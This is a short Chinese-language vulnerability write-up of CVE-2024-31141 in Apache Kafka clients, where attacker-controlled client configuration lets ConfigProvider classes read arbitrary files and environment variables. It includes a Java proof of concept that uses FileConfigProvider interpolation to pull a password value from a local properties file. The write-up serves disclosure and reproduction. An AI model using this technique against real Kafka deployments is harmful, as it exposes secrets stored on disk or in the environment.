CVE-2024-31141: Apache Kafka Clients: Privilege escalation to filesystem read-access via automatic ConfigProvider
漏洞简介
Apache Kafka 客户端接受配置数据以自定义行为,并包含 ConfigProvider 插件以操作这些配置。 Apache Kafka 还提供 FileConfigProvider、DirectoryConfigProvider 和 EnvVarConfigProvider 实现,其中包括从磁盘或环境变量读取的功能。在 Apache Kafka 客户端配置可以由不受信任方指定的应用程序中,攻击者可以使用这些 ConfigProvider 读取磁盘和环境变量的任意内容。
此问题影响 Apache Kafka 客户端:从 2.3.0 到 3.5.2、3.6.2、3.7.0。
漏洞复现
根目录下创建1.properties文件

然后配置客户端连接的配置项,在真实场景下存在于kafka客户端可控自定义配置的场景
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.example;
import org.apache.kafka.clients.producer.KafkaProducer; import org.apache.kafka.clients.producer.Producer; import org.apache.kafka.common.config.provider.FileConfigProvider;
import java.util.Properties;
public class Test { public static void main(String[] args) { Properties providers = new Properties(); providers.put("bootstrap.servers", "localhost:9092"); providers.put("key.serializer","org.apache.kafka.common.serialization.StringSerializer"); providers.put("value.serializer","org.apache.kafka.common.serialization.StringSerializer"); providers.put("config.providers", "x"); providers.put("config.providers.x.class", FileConfigProvider.class.getName()); providers.put("test", "${x:/1.properties:password}"); Producer<String, String> producer = new KafkaProducer<>(providers); producer.initTransactions(); } }
|

Read More